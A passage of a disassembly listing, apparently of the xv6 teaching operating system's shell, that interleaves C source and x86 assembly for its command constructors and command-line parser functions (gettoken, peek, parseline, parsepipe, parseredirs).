sub $0x8,%esp printf(2, "%s\n", s); 3b4: 83 ec 04 sub $0x4,%esp 3b7: ff 75 08 pushl 0x8(%ebp) 3ba: 68 88 14 00 00 push $0x1488 3bf: 6a 02 push $0x2 3c1: e8 98 0c 00 00 call 105e <printf> 3c6: 83 c4 10 add $0x10,%esp exit(); 3c9: e8 19 0b 00 00 call ee7 <exit> 000003ce <fork1>: } int fork1(void) { 3ce: 55 push %ebp 3cf: 89 e5 mov %esp,%ebp 3d1: 83 ec 18 sub $0x18,%esp int pid; pid = fork(); 3d4: e8 06 0b 00 00 call edf <fork> 3d9: 89 45 f4 mov %eax,-0xc(%ebp) if(pid == -1) 3dc: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp) 3e0: 75 10 jne 3f2 <fork1+0x24> panic("fork"); 3e2: 83 ec 0c sub $0xc,%esp 3e5: 68 8c 14 00 00 push $0x148c 3ea: e8 bf ff ff ff call 3ae <panic> 3ef: 83 c4 10 add $0x10,%esp return pid; 3f2: 8b 45 f4 mov -0xc(%ebp),%eax } 3f5: c9 leave 3f6: c3 ret 000003f7 <execcmd>: //PAGEBREAK! // Constructors struct cmd* execcmd(void) { 3f7: 55 push %ebp 3f8: 89 e5 mov %esp,%ebp 3fa: 83 ec 18 sub $0x18,%esp struct execcmd *cmd; cmd = malloc(sizeof(*cmd)); 3fd: 83 ec 0c sub $0xc,%esp 400: 6a 54 push $0x54 402: e8 2a 0f 00 00 call 1331 <malloc> 407: 83 c4 10 add $0x10,%esp 40a: 89 45 f4 mov %eax,-0xc(%ebp) memset(cmd, 0, sizeof(*cmd)); 40d: 83 ec 04 sub $0x4,%esp 410: 6a 54 push $0x54 412: 6a 00 push $0x0 414: ff 75 f4 pushl -0xc(%ebp) 417: e8 30 09 00 00 call d4c <memset> 41c: 83 c4 10 add $0x10,%esp cmd->type = EXEC; 41f: 8b 45 f4 mov -0xc(%ebp),%eax 422: c7 00 01 00 00 00 movl $0x1,(%eax) return (struct cmd*)cmd; 428: 8b 45 f4 mov -0xc(%ebp),%eax } 42b: c9 leave 42c: c3 ret 0000042d <redircmd>: struct cmd* redircmd(struct cmd *subcmd, char *file, char *efile, int mode, int fd) { 42d: 55 push %ebp 42e: 89 e5 mov %esp,%ebp 430: 83 ec 18 sub $0x18,%esp struct redircmd *cmd; cmd = malloc(sizeof(*cmd)); 433: 83 ec 0c sub $0xc,%esp 436: 6a 18 push $0x18 438: e8 f4 0e 00 00 call 1331 <malloc> 43d: 83 c4 10 add $0x10,%esp 440: 89 45 f4 mov %eax,-0xc(%ebp) memset(cmd, 0, sizeof(*cmd)); 443: 83 ec 04 sub $0x4,%esp 446: 6a 18 push $0x18 448: 6a 00 push $0x0 44a: ff 75 f4 pushl -0xc(%ebp) 44d: e8 fa 08 00 00 call d4c <memset> 452: 83 c4 10 add $0x10,%esp cmd->type = REDIR; 455: 8b 45 f4 mov -0xc(%ebp),%eax 458: c7 00 02 00 00 00 movl $0x2,(%eax) cmd->cmd = subcmd; 45e: 8b 45 f4 mov -0xc(%ebp),%eax 461: 8b 55 08 mov 0x8(%ebp),%edx 464: 89 50 04 mov %edx,0x4(%eax) cmd->file = file; 467: 8b 45 f4 mov -0xc(%ebp),%eax 46a: 8b 55 0c mov 0xc(%ebp),%edx 46d: 89 50 08 mov %edx,0x8(%eax) cmd->efile = efile; 470: 8b 45 f4 mov -0xc(%ebp),%eax 473: 8b 55 10 mov 0x10(%ebp),%edx 476: 89 50 0c mov %edx,0xc(%eax) cmd->mode = mode; 479: 8b 45 f4 mov -0xc(%ebp),%eax 47c: 8b 55 14 mov 0x14(%ebp),%edx 47f: 89 50 10 mov %edx,0x10(%eax) cmd->fd = fd; 482: 8b 45 f4 mov -0xc(%ebp),%eax 485: 8b 55 18 mov 0x18(%ebp),%edx 488: 89 50 14 mov %edx,0x14(%eax) return (struct cmd*)cmd; 48b: 8b 45 f4 mov -0xc(%ebp),%eax } 48e: c9 leave 48f: c3 ret 00000490 <pipecmd>: struct cmd* pipecmd(struct cmd *left, struct cmd *right) { 490: 55 push %ebp 491: 89 e5 mov %esp,%ebp 493: 83 ec 18 sub $0x18,%esp struct pipecmd *cmd; cmd = malloc(sizeof(*cmd)); 496: 83 ec 0c sub $0xc,%esp 499: 6a 0c push $0xc 49b: e8 91 0e 00 00 call 1331 <malloc> 4a0: 83 c4 10 add $0x10,%esp 4a3: 89 45 f4 mov %eax,-0xc(%ebp) memset(cmd, 0, sizeof(*cmd)); 4a6: 83 ec 04 sub $0x4,%esp 4a9: 6a 0c push $0xc 4ab: 6a 00 push $0x0 4ad: ff 75 f4 pushl -0xc(%ebp) 4b0: e8 97 08 00 00 call d4c <memset> 4b5: 83 c4 10 add $0x10,%esp cmd->type = PIPE; 4b8: 8b 45 f4 mov -0xc(%ebp),%eax 4bb: c7 00 03 00 00 00 movl $0x3,(%eax) cmd->left = left; 4c1: 8b 45 f4 mov -0xc(%ebp),%eax 4c4: 8b 55 08 mov 0x8(%ebp),%edx 4c7: 89 50 04 mov %edx,0x4(%eax) cmd->right = right; 4ca: 8b 45 f4 mov -0xc(%ebp),%eax 4cd: 8b 55 0c mov 0xc(%ebp),%edx 4d0: 89 50 08 mov %edx,0x8(%eax) return (struct cmd*)cmd; 4d3: 8b 45 f4 mov -0xc(%ebp),%eax } 4d6: c9 leave 4d7: c3 ret 000004d8 <listcmd>: struct cmd* listcmd(struct cmd *left, struct cmd *right) { 4d8: 55 push %ebp 4d9: 89 e5 mov %esp,%ebp 4db: 83 ec 18 sub $0x18,%esp struct listcmd *cmd; cmd = malloc(sizeof(*cmd)); 4de: 83 ec 0c sub $0xc,%esp 4e1: 6a 0c push $0xc 4e3: e8 49 0e 00 00 call 1331 <malloc> 4e8: 83 c4 10 add $0x10,%esp 4eb: 89 45 f4 mov %eax,-0xc(%ebp) memset(cmd, 0, sizeof(*cmd)); 4ee: 83 ec 04 sub $0x4,%esp 4f1: 6a 0c push $0xc 4f3: 6a 00 push $0x0 4f5: ff 75 f4 pushl -0xc(%ebp) 4f8: e8 4f 08 00 00 call d4c <memset> 4fd: 83 c4 10 add $0x10,%esp cmd->type = LIST; 500: 8b 45 f4 mov -0xc(%ebp),%eax 503: c7 00 04 00 00 00 movl $0x4,(%eax) cmd->left = left; 509: 8b 45 f4 mov -0xc(%ebp),%eax 50c: 8b 55 08 mov 0x8(%ebp),%edx 50f: 89 50 04 mov %edx,0x4(%eax) cmd->right = right; 512: 8b 45 f4 mov -0xc(%ebp),%eax 515: 8b 55 0c mov 0xc(%ebp),%edx 518: 89 50 08 mov %edx,0x8(%eax) return (struct cmd*)cmd; 51b: 8b 45 f4 mov -0xc(%ebp),%eax } 51e: c9 leave 51f: c3 ret 00000520 <backcmd>: struct cmd* backcmd(struct cmd *subcmd) { 520: 55 push %ebp 521: 89 e5 mov %esp,%ebp 523: 83 ec 18 sub $0x18,%esp struct backcmd *cmd; cmd = malloc(sizeof(*cmd)); 526: 83 ec 0c sub $0xc,%esp 529: 6a 08 push $0x8 52b: e8 01 0e 00 00 call 1331 <malloc> 530: 83 c4 10 add $0x10,%esp 533: 89 45 f4 mov %eax,-0xc(%ebp) memset(cmd, 0, sizeof(*cmd)); 536: 83 ec 04 sub $0x4,%esp 539: 6a 08 push $0x8 53b: 6a 00 push $0x0 53d: ff 75 f4 pushl -0xc(%ebp) 540: e8 07 08 00 00 call d4c <memset> 545: 83 c4 10 add $0x10,%esp cmd->type = BACK; 548: 8b 45 f4 mov -0xc(%ebp),%eax 54b: c7 00 05 00 00 00 movl $0x5,(%eax) cmd->cmd = subcmd; 551: 8b 45 f4 mov -0xc(%ebp),%eax 554: 8b 55 08 mov 0x8(%ebp),%edx 557: 89 50 04 mov %edx,0x4(%eax) return (struct cmd*)cmd; 55a: 8b 45 f4 mov -0xc(%ebp),%eax } 55d: c9 leave 55e: c3 ret 0000055f <gettoken>: char whitespace[] = " \t\r\n\v"; char symbols[] = "<|>&;()"; int gettoken(char **ps, char *es, char **q, char **eq) { 55f: 55 push %ebp 560: 89 e5 mov %esp,%ebp 562: 83 ec 18 sub $0x18,%esp char *s; int ret; s = *ps; 565: 8b 45 08 mov 0x8(%ebp),%eax 568: 8b 00 mov (%eax),%eax 56a: 89 45 f4 mov %eax,-0xc(%ebp) while(s < es && strchr(whitespace, *s)) 56d: eb 04 jmp 573 <gettoken+0x14> s++; 56f: 83 45 f4 01 addl $0x1,-0xc(%ebp) { char *s; int ret; s = *ps; while(s < es && strchr(whitespace, *s)) 573: 8b 45 f4 mov -0xc(%ebp),%eax 576: 3b 45 0c cmp 0xc(%ebp),%eax 579: 73 1e jae 599 <gettoken+0x3a> 57b: 8b 45 f4 mov -0xc(%ebp),%eax 57e: 0f b6 00 movzbl (%eax),%eax 581: 0f be c0 movsbl %al,%eax 584: 83 ec 08 sub $0x8,%esp 587: 50 push %eax 588: 68 a8 19 00 00 push $0x19a8 58d: e8 d4 07 00 00 call d66 <strchr> 592: 83 c4 10 add $0x10,%esp 595: 85 c0 test %eax,%eax 597: 75 d6 jne 56f <gettoken+0x10> s++; if(q) 599: 83 7d 10 00 cmpl $0x0,0x10(%ebp) 59d: 74 08 je 5a7 <gettoken+0x48> *q = s; 59f: 8b 45 10 mov 0x10(%ebp),%eax 5a2: 8b 55 f4 mov -0xc(%ebp),%edx 5a5: 89 10 mov %edx,(%eax) ret = *s; 5a7: 8b 45 f4 mov -0xc(%ebp),%eax 5aa: 0f b6 00 movzbl (%eax),%eax 5ad: 0f be c0 movsbl %al,%eax 5b0: 89 45 f0 mov %eax,-0x10(%ebp) switch(*s){ 5b3: 8b 45 f4 mov -0xc(%ebp),%eax 5b6: 0f b6 00 movzbl (%eax),%eax 5b9: 0f be c0 movsbl %al,%eax 5bc: 83 f8 29 cmp $0x29,%eax 5bf: 7f 14 jg 5d5 <gettoken+0x76> 5c1: 83 f8 28 cmp $0x28,%eax 5c4: 7d 28 jge 5ee <gettoken+0x8f> 5c6: 85 c0 test %eax,%eax 5c8: 0f 84 94 00 00 00 je 662 <gettoken+0x103> 5ce: 83 f8 26 cmp $0x26,%eax 5d1: 74 1b je 5ee <gettoken+0x8f> 5d3: eb 3a jmp 60f <gettoken+0xb0> 5d5: 83 f8 3e cmp $0x3e,%eax 5d8: 74 1a je 5f4 <gettoken+0x95> 5da: 83 f8 3e cmp $0x3e,%eax 5dd: 7f 0a jg 5e9 <gettoken+0x8a> 5df: 83 e8 3b sub $0x3b,%eax 5e2: 83 f8 01 cmp $0x1,%eax 5e5: 77 28 ja 60f <gettoken+0xb0> 5e7: eb 05 jmp 5ee <gettoken+0x8f> 5e9: 83 f8 7c cmp $0x7c,%eax 5ec: 75 21 jne 60f <gettoken+0xb0> case '(': case ')': case ';': case '&': case '<': s++; 5ee: 83 45 f4 01 addl $0x1,-0xc(%ebp) break; 5f2: eb 75 jmp 669 <gettoken+0x10a> case '>': s++; 5f4: 83 45 f4 01 addl $0x1,-0xc(%ebp) if(*s == '>'){ 5f8: 8b 45 f4 mov -0xc(%ebp),%eax 5fb: 0f b6 00 movzbl (%eax),%eax 5fe: 3c 3e cmp $0x3e,%al 600: 75 63 jne 665 <gettoken+0x106> ret = '+'; 602: c7 45 f0 2b 00 00 00 movl $0x2b,-0x10(%ebp) s++; 609: 83 45 f4 01 addl $0x1,-0xc(%ebp) } break; 60d: eb 56 jmp 665 <gettoken+0x106> default: ret = 'a'; 60f: c7 45 f0 61 00 00 00 movl $0x61,-0x10(%ebp) while(s < es && !strchr(whitespace, *s) && !strchr(symbols, *s)) 616: eb 04 jmp 61c <gettoken+0xbd> s++; 618: 83 45 f4 01 addl $0x1,-0xc(%ebp) s++; } break; default: ret = 'a'; while(s < es && !strchr(whitespace, *s) && !strchr(symbols, *s)) 61c: 8b 45 f4 mov -0xc(%ebp),%eax 61f: 3b 45 0c cmp 0xc(%ebp),%eax 622: 73 44 jae 668 <gettoken+0x109> 624: 8b 45 f4 mov -0xc(%ebp),%eax 627: 0f b6 00 movzbl (%eax),%eax 62a: 0f be c0 movsbl %al,%eax 62d: 83 ec 08 sub $0x8,%esp 630: 50 push %eax 631: 68 a8 19 00 00 push $0x19a8 636: e8 2b 07 00 00 call d66 <strchr> 63b: 83 c4 10 add $0x10,%esp 63e: 85 c0 test %eax,%eax 640: 75 26 jne 668 <gettoken+0x109> 642: 8b 45 f4 mov -0xc(%ebp),%eax 645: 0f b6 00 movzbl (%eax),%eax 648: 0f be c0 movsbl %al,%eax 64b: 83 ec 08 sub $0x8,%esp 64e: 50 push %eax 64f: 68 b0 19 00 00 push $0x19b0 654: e8 0d 07 00 00 call d66 <strchr> 659: 83 c4 10 add $0x10,%esp 65c: 85 c0 test %eax,%eax 65e: 74 b8 je 618 <gettoken+0xb9> s++; break; 660: eb 06 jmp 668 <gettoken+0x109> if(q) *q = s; ret = *s; switch(*s){ case 0: break; 662: 90 nop 663: eb 04 jmp 669 <gettoken+0x10a> s++; if(*s == '>'){ ret = '+'; s++; } break; 665: 90 nop 666: eb 01 jmp 669 <gettoken+0x10a> default: ret = 'a'; while(s < es && !strchr(whitespace, *s) && !strchr(symbols, *s)) s++; break; 668: 90 nop } if(eq) 669: 83 7d 14 00 cmpl $0x0,0x14(%ebp) 66d: 74 0e je 67d <gettoken+0x11e> *eq = s; 66f: 8b 45 14 mov 0x14(%ebp),%eax 672: 8b 55 f4 mov -0xc(%ebp),%edx 675: 89 10 mov %edx,(%eax) while(s < es && strchr(whitespace, *s)) 677: eb 04 jmp 67d <gettoken+0x11e> s++; 679: 83 45 f4 01 addl $0x1,-0xc(%ebp) break; } if(eq) *eq = s; while(s < es && strchr(whitespace, *s)) 67d: 8b 45 f4 mov -0xc(%ebp),%eax 680: 3b 45 0c cmp 0xc(%ebp),%eax 683: 73 1e jae 6a3 <gettoken+0x144> 685: 8b 45 f4 mov -0xc(%ebp),%eax 688: 0f b6 00 movzbl (%eax),%eax 68b: 0f be c0 movsbl %al,%eax 68e: 83 ec 08 sub $0x8,%esp 691: 50 push %eax 692: 68 a8 19 00 00 push $0x19a8 697: e8 ca 06 00 00 call d66 <strchr> 69c: 83 c4 10 add $0x10,%esp 69f: 85 c0 test %eax,%eax 6a1: 75 d6 jne 679 <gettoken+0x11a> s++; *ps = s; 6a3: 8b 45 08 mov 0x8(%ebp),%eax 6a6: 8b 55 f4 mov -0xc(%ebp),%edx 6a9: 89 10 mov %edx,(%eax) return ret; 6ab: 8b 45 f0 mov -0x10(%ebp),%eax } 6ae: c9 leave 6af: c3 ret 000006b0 <peek>: int peek(char **ps, char *es, char *toks) { 6b0: 55 push %ebp 6b1: 89 e5 mov %esp,%ebp 6b3: 83 ec 18 sub $0x18,%esp char *s; s = *ps; 6b6: 8b 45 08 mov 0x8(%ebp),%eax 6b9: 8b 00 mov (%eax),%eax 6bb: 89 45 f4 mov %eax,-0xc(%ebp) while(s < es && strchr(whitespace, *s)) 6be: eb 04 jmp 6c4 <peek+0x14> s++; 6c0: 83 45 f4 01 addl $0x1,-0xc(%ebp) peek(char **ps, char *es, char *toks) { char *s; s = *ps; while(s < es && strchr(whitespace, *s)) 6c4: 8b 45 f4 mov -0xc(%ebp),%eax 6c7: 3b 45 0c cmp 0xc(%ebp),%eax 6ca: 73 1e jae 6ea <peek+0x3a> 6cc: 8b 45 f4 mov -0xc(%ebp),%eax 6cf: 0f b6 00 movzbl (%eax),%eax 6d2: 0f be c0 movsbl %al,%eax 6d5: 83 ec 08 sub $0x8,%esp 6d8: 50 push %eax 6d9: 68 a8 19 00 00 push $0x19a8 6de: e8 83 06 00 00 call d66 <strchr> 6e3: 83 c4 10 add $0x10,%esp 6e6: 85 c0 test %eax,%eax 6e8: 75 d6 jne 6c0 <peek+0x10> s++; *ps = s; 6ea: 8b 45 08 mov 0x8(%ebp),%eax 6ed: 8b 55 f4 mov -0xc(%ebp),%edx 6f0: 89 10 mov %edx,(%eax) return *s && strchr(toks, *s); 6f2: 8b 45 f4 mov -0xc(%ebp),%eax 6f5: 0f b6 00 movzbl (%eax),%eax 6f8: 84 c0 test %al,%al 6fa: 74 23 je 71f <peek+0x6f> 6fc: 8b 45 f4 mov -0xc(%ebp),%eax 6ff: 0f b6 00 movzbl (%eax),%eax 702: 0f be c0 movsbl %al,%eax 705: 83 ec 08 sub $0x8,%esp 708: 50 push %eax 709: ff 75 10 pushl 0x10(%ebp) 70c: e8 55 06 00 00 call d66 <strchr> 711: 83 c4 10 add $0x10,%esp 714: 85 c0 test %eax,%eax 716: 74 07 je 71f <peek+0x6f> 718: b8 01 00 00 00 mov $0x1,%eax 71d: eb 05 jmp 724 <peek+0x74> 71f: b8 00 00 00 00 mov $0x0,%eax } 724: c9 leave 725: c3 ret 00000726 <parsecmd>: struct cmd *parseexec(char**, char*); struct cmd *nulterminate(struct cmd*); struct cmd* parsecmd(char *s) { 726: 55 push %ebp 727: 89 e5 mov %esp,%ebp 729: 53 push %ebx 72a: 83 ec 14 sub $0x14,%esp char *es; struct cmd *cmd; es = s + strlen(s); 72d: 8b 5d 08 mov 0x8(%ebp),%ebx 730: 8b 45 08 mov 0x8(%ebp),%eax 733: 83 ec 0c sub $0xc,%esp 736: 50 push %eax 737: e8 e9 05 00 00 call d25 <strlen> 73c: 83 c4 10 add $0x10,%esp 73f: 01 d8 add %ebx,%eax 741: 89 45 f4 mov %eax,-0xc(%ebp) cmd = parseline(&s, es); 744: 83 ec 08 sub $0x8,%esp 747: ff 75 f4 pushl -0xc(%ebp) 74a: 8d 45 08 lea 0x8(%ebp),%eax 74d: 50 push %eax 74e: e8 61 00 00 00 call 7b4 <parseline> 753: 83 c4 10 add $0x10,%esp 756: 89 45 f0 mov %eax,-0x10(%ebp) peek(&s, es, ""); 759: 83 ec 04 sub $0x4,%esp 75c: 68 91 14 00 00 push $0x1491 761: ff 75 f4 pushl -0xc(%ebp) 764: 8d 45 08 lea 0x8(%ebp),%eax 767: 50 push %eax 768: e8 43 ff ff ff call 6b0 <peek> 76d: 83 c4 10 add $0x10,%esp if(s != es){ 770: 8b 45 08 mov 0x8(%ebp),%eax 773: 3b 45 f4 cmp -0xc(%ebp),%eax 776: 74 26 je 79e <parsecmd+0x78> printf(2, "leftovers: %s\n", s); 778: 8b 45 08 mov 0x8(%ebp),%eax 77b: 83 ec 04 sub $0x4,%esp 77e: 50 push %eax 77f: 68 92 14 00 00 push $0x1492 784: 6a 02 push $0x2 786: e8 d3 08 00 00 call 105e <printf> 78b: 83 c4 10 add $0x10,%esp panic("syntax"); 78e: 83 ec 0c sub $0xc,%esp 791: 68 a1 14 00 00 push $0x14a1 796: e8 13 fc ff ff call 3ae <panic> 79b: 83 c4 10 add $0x10,%esp } nulterminate(cmd); 79e: 83 ec 0c sub $0xc,%esp 7a1: ff 75 f0 pushl -0x10(%ebp) 7a4: e8 eb 03 00 00 call b94 <nulterminate> 7a9: 83 c4 10 add $0x10,%esp return cmd; 7ac: 8b 45 f0 mov -0x10(%ebp),%eax } 7af: 8b 5d fc mov -0x4(%ebp),%ebx 7b2: c9 leave 7b3: c3 ret 000007b4 <parseline>: struct cmd* parseline(char **ps, char *es) { 7b4: 55 push %ebp 7b5: 89 e5 mov %esp,%ebp 7b7: 83 ec 18 sub $0x18,%esp struct cmd *cmd; cmd = parsepipe(ps, es); 7ba: 83 ec 08 sub $0x8,%esp 7bd: ff 75 0c pushl 0xc(%ebp) 7c0: ff 75 08 pushl 0x8(%ebp) 7c3: e8 99 00 00 00 call 861 <parsepipe> 7c8: 83 c4 10 add $0x10,%esp 7cb: 89 45 f4 mov %eax,-0xc(%ebp) while(peek(ps, es, "&")){ 7ce: eb 23 jmp 7f3 <parseline+0x3f> gettoken(ps, es, 0, 0); 7d0: 6a 00 push $0x0 7d2: 6a 00 push $0x0 7d4: ff 75 0c pushl 0xc(%ebp) 7d7: ff 75 08 pushl 0x8(%ebp) 7da: e8 80 fd ff ff call 55f <gettoken> 7df: 83 c4 10 add $0x10,%esp cmd = backcmd(cmd); 7e2: 83 ec 0c sub $0xc,%esp 7e5: ff 75 f4 pushl -0xc(%ebp) 7e8: e8 33 fd ff ff call 520 <backcmd> 7ed: 83 c4 10 add $0x10,%esp 7f0: 89 45 f4 mov %eax,-0xc(%ebp) parseline(char **ps, char *es) { struct cmd *cmd; cmd = parsepipe(ps, es); while(peek(ps, es, "&")){ 7f3: 83 ec 04 sub $0x4,%esp 7f6: 68 a8 14 00 00 push $0x14a8 7fb: ff 75 0c pushl 0xc(%ebp) 7fe: ff 75 08 pushl 0x8(%ebp) 801: e8 aa fe ff ff call 6b0 <peek> 806: 83 c4 10 add $0x10,%esp 809: 85 c0 test %eax,%eax 80b: 75 c3 jne 7d0 <parseline+0x1c> gettoken(ps, es, 0, 0); cmd = backcmd(cmd); } if(peek(ps, es, ";")){ 80d: 83 ec 04 sub $0x4,%esp 810: 68 aa 14 00 00 push $0x14aa 815: ff 75 0c pushl 0xc(%ebp) 818: ff 75 08 pushl 0x8(%ebp) 81b: e8 90 fe ff ff call 6b0 <peek> 820: 83 c4 10 add $0x10,%esp 823: 85 c0 test %eax,%eax 825: 74 35 je 85c <parseline+0xa8> gettoken(ps, es, 0, 0); 827: 6a 00 push $0x0 829: 6a 00 push $0x0 82b: ff 75 0c pushl 0xc(%ebp) 82e: ff 75 08 pushl 0x8(%ebp) 831: e8 29 fd ff ff call 55f <gettoken> 836: 83 c4 10 add $0x10,%esp cmd = listcmd(cmd, parseline(ps, es)); 839: 83 ec 08 sub $0x8,%esp 83c: ff 75 0c pushl 0xc(%ebp) 83f: ff 75 08 pushl 0x8(%ebp) 842: e8 6d ff ff ff call 7b4 <parseline> 847: 83 c4 10 add $0x10,%esp 84a: 83 ec 08 sub $0x8,%esp 84d: 50 push %eax 84e: ff 75 f4 pushl -0xc(%ebp) 851: e8 82 fc ff ff call 4d8 <listcmd> 856: 83 c4 10 add $0x10,%esp 859: 89 45 f4 mov %eax,-0xc(%ebp) } return cmd; 85c: 8b 45 f4 mov -0xc(%ebp),%eax } 85f: c9 leave 860: c3 ret 00000861 <parsepipe>: struct cmd* parsepipe(char **ps, char *es) { 861: 55 push %ebp 862: 89 e5 mov %esp,%ebp 864: 83 ec 18 sub $0x18,%esp struct cmd *cmd; cmd = parseexec(ps, es); 867: 83 ec 08 sub $0x8,%esp 86a: ff 75 0c pushl 0xc(%ebp) 86d: ff 75 08 pushl 0x8(%ebp) 870: e8 ec 01 00 00 call a61 <parseexec> 875: 83 c4 10 add $0x10,%esp 878: 89 45 f4 mov %eax,-0xc(%ebp) if(peek(ps, es, "|")){ 87b: 83 ec 04 sub $0x4,%esp 87e: 68 ac 14 00 00 push $0x14ac 883: ff 75 0c pushl 0xc(%ebp) 886: ff 75 08 pushl 0x8(%ebp) 889: e8 22 fe ff ff call 6b0 <peek> 88e: 83 c4 10 add $0x10,%esp 891: 85 c0 test %eax,%eax 893: 74 35 je 8ca <parsepipe+0x69> gettoken(ps, es, 0, 0); 895: 6a 00 push $0x0 897: 6a 00 push $0x0 899: ff 75 0c pushl 0xc(%ebp) 89c: ff 75 08 pushl 0x8(%ebp) 89f: e8 bb fc ff ff call 55f <gettoken> 8a4: 83 c4 10 add $0x10,%esp cmd = pipecmd(cmd, parsepipe(ps, es)); 8a7: 83 ec 08 sub $0x8,%esp 8aa: ff 75 0c pushl 0xc(%ebp) 8ad: ff 75 08 pushl 0x8(%ebp) 8b0: e8 ac ff ff ff call 861 <parsepipe> 8b5: 83 c4 10 add $0x10,%esp 8b8: 83 ec 08 sub $0x8,%esp 8bb: 50 push %eax 8bc: ff 75 f4 pushl -0xc(%ebp) 8bf: e8 cc fb ff ff call 490 <pipecmd> 8c4: 83 c4 10 add $0x10,%esp 8c7: 89 45 f4 mov %eax,-0xc(%ebp) } return cmd; 8ca: 8b 45 f4 mov -0xc(%ebp),%eax } 8cd: c9 leave 8ce: c3 ret 000008cf <parseredirs>: struct cmd* parseredirs(struct cmd *cmd, char **ps, char *es) { 8cf: 55 push %ebp 8d0: 89 e5 mov %esp,%ebp 8d2: 83 ec 18 sub $0x18,%esp int tok; char *q, *eq; while(peek(ps, es, "<>")){ 8d5: e9 b6 00 00 00 jmp 990 <parseredirs+0xc1> tok = gettoken(ps, es, 0, 0); 8da: 6a 00 push $0x0 8dc: 6a 00 push $0x0 8de: ff 75 10 pushl 0x10(%ebp) 8e1: ff 75 0c pushl 0xc(%ebp) 8e4: e8 76 fc ff ff call 55f <gettoken> 8e9: 83 c4 10 add $0x10,%esp 8ec: 89 45 f4 mov %eax,-0xc(%ebp) if(gettoken(ps, es, &q, &eq) != 'a') 8ef: 8d 45 ec lea -0x14(%ebp),%eax 8f2: 50 push %eax 8f3: 8d 45 f0 lea -0x10(%ebp),%eax 8f6: 50 push %eax 8f7: ff 75 10 pushl 0x10(%ebp) 8fa: ff 75 0c pushl 0xc(%ebp) 8fd: e8 5d fc ff ff call 55f <gettoken> 902: 83 c4 10 add $0x10,%esp 905: 83 f8 61 cmp $0x61,%eax 908: 74 10 je 91a <parseredirs+0x4b> panic("missing file for redirection"); 90a: 83 ec 0c sub $0xc,%esp 90d: 68 ae 14 00 00 push $0x14ae 912: e8 97 fa ff ff call 3ae <panic> 917: 83 c4 10 add $0x10,%esp switch(tok){ 91a: 8b 45 f4 mov -0xc(%ebp),%eax 91d: 83 f8 3c cmp $0x3c,%eax 920: 74 0c je 92e <parseredirs+0x5f> 922: 83 f8 3e cmp $0x3e,%eax 925: 74 26 je 94d <parseredirs+0x7e> 927: 83 f8 2b cmp $0x2b,%eax 92a: 74 43 je 96f <parseredirs+0xa0> 92c: eb 62 jmp 990 <parseredirs+0xc1> case '<': cmd = redircmd(cmd, q, eq, O_RDONLY, 0); 92e: 8b 55 ec mov -0x14(%ebp),%edx 931: 8b 45 f0 mov -0x10(%ebp),%eax 934: 83 ec 0c sub $0xc,%esp 937: 6a 00 push $0x0 939: 6a 00 push $0x0 93b: 52 push %edx 93c: 50 push %eax 93d: ff 75 08 pushl 0x8(%ebp) 940: e8 e8 fa ff ff call 42d <redircmd> 945: 83 c4 20 add $0x20,%esp 948: 89 45 08 mov %eax,0x8(%ebp) break; 94b: eb 43 jmp 990 <parseredirs+0xc1> case '>': cmd = redircmd(cmd, q, eq, O_WRONLY|O_CREATE, 1); 94d: 8b 55 ec mov -0x14(%ebp),%edx 950: 8b 45 f0 mov -0x10(%ebp),%eax 953: 83 ec 0c sub $0xc,%esp 956: 6a 01 push $0x1 958: 68 01 02 00 00 push $0x201 95d: 52 push %edx 95e: 50 push %eax 95f: ff 75 08 pushl 0x8(%ebp) 962: e8 c6 fa ff ff call 42d <redircmd> 967: 83 c4 20 add $0x20,%esp 96a: 89 45 08 mov %eax,0x8(%ebp) break; 96d: eb 21 jmp 990 <parseredirs+0xc1> case '+': // >> cmd = redircmd(cmd, q, eq, O_WRONLY|O_CREATE, 1); 96f: 8b 55 ec mov -0x14(%ebp),%edx 972: 8b 45 f0 mov -0x10(%ebp),%eax 975: 83 ec 0c sub $0xc,%esp 978: 6a 01 push $0x1 97a: 68 01 02 00 00 push $0x201 97f: 52 push %edx 980: 50 push %eax 981: ff 75 08 pushl 0x8(%ebp) 984: e8 a4 fa ff ff call 42d <redircmd> 989: 83 c4 20 add $0x20,%esp 98c: 89 45 08 mov %eax,0x8(%ebp) break; 98f: 90 nop parseredirs(struct cmd *cmd, char **ps, char *es) { int tok; char *q, *eq; while(peek(ps, es, "<>")){ 990: 83 ec 04 sub $0x4,%esp 993: 68 cb 14 00 00 push $0x14cb 998: ff 75 10 pushl 0x10(%ebp) 99b: ff 75 0c pushl 0xc(%ebp) 99e: e8 0d fd ff ff call 6b0 <peek> 9a3: 83 c4 10 add $0x10,%esp 9a6: 85 c0 test %eax,%eax 9a8: 0f 85 2c ff ff ff jne 8da <parseredirs+0xb> case '+': // >> cmd = redircmd(cmd, q, eq, O_WRONLY|O_CREATE, 1); break; } } return cmd; 9ae: 8b 45 08 mov 0x8(%ebp),%eax } 9b1: c9 leave 9b2: c3 ret 000009b3 <parseblock>: struct cmd* parseblock(char **ps, char *es) { 9b3: 55 push %ebp 9b4: 89 e5 mov %esp,%ebp 9b6: 83 ec 18 sub $0x18,%esp struct cmd *cmd; if(!peek(ps, es, "(")) 9b9: 83 ec 04 sub $0x4,%esp 9bc: 68 ce 14 00 00 push $0x14ce 9c1: ff 75 0c pushl 0xc(%ebp) 9c4: ff 75 08 pushl 0x8(%ebp) 9c7: e8 e4 fc ff ff call 6b0 <peek> 9cc: 83 c4 10 add $0x10,%esp 9cf: 85 c0 test %eax,%eax 9d1: 75 10 jne 9e3 <parseblock+0x30> panic("parseblock"); 9d3: 83 ec 0c sub $0xc,%esp 9d6: 68 d0 14 00 00 push $0x14d0 9db: e8 ce f9 ff ff call 3ae <panic> 9e0: 83 c4 10 add $0x10,%esp gettoken(ps, es, 0, 0); 9e3: 6a 00 push $0x0 9e5: 6a 00 push $0x0 9e7: ff 75 0c pushl 0xc(%ebp) 9ea: ff 75 08 pushl 0x8(%ebp) 9ed: e8 6d fb ff ff call 55f <gettoken> 9f2: 83 c4 10 add $0x10,%esp cmd = parseline(ps, es); 9f5: 83 ec 08 sub $0x8,%esp 9f8: ff 75 0c pushl 0xc(%ebp) 9fb: ff 75 08 pushl 0x8(%ebp) 9fe: e8 b1 fd ff ff call 7b4 <parseline> a03: 83 c4 10 add $0x10,%esp a06: 89 45 f4 mov %eax,-0xc(%ebp) if(!peek(ps, es, ")")) a09: 83 ec 04 sub $0x4,%esp a0c: 68 db 14 00 00 push $0x14db a11: ff 75 0c pushl 0xc(%ebp) a14: ff 75 08 pushl 0x8(%ebp) a17: e8 94 fc ff ff call 6b0 <peek> a1c: 83 c4 10 add 